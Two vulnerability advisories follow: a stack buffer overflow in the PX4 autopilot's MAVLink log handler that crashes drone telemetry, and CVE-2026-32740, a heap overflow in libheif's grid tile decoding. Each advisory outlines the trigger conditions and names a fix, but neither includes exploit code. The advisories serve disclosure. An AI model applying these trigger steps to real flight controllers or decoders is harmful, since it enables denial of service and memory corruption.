PX4 is an open-source autopilot stack for drones and unmanned vehicles. Versions 1.17.0-rc2 and below are vulnerable to Stack-based Buffer Overflow through the MavlinkLogHandler, and are triggered via MAVLink log request. The LogEntry.filepath buffer is 60 bytes, but the sscanf function parses paths from the log list file with no width specifier, allowing a path longer than 60 characters to overflow the buffer. An attacker with MAVLink link access can trigger this by first creating deeply nested directories via MAVLink FTP, then requesting the log list. The flight controller MAVLink task crashes, losing telemetry and command capability and causing DoS. This issue has been fixed in this commit: https://github.com/PX4/PX4-Autopilot/commit/616b25a280e229c24d5cf12a03dbf248df89c474.
CVE-2026-32740
libheif is a HEIF and AVIF file format decoder and encoder. Versions 1.21.2 and prior contain a heap-buffer-overflow (write) vulnerability in the grid tile compositing, allowing an attacker to write 64 bytes of fully attacker-controlled data past the end of a chroma plane heap allocation by crafting a HEIF/AVIF file with a 1×4 grid of odd-height tiles. The overflow is triggered during normal image decoding with default build configuration. The written bytes are chroma (Cb/Cr) pixel values from the attacking tile, giving the attacker full control over the overflow content. This issue has been fixed in version 1.22.0.
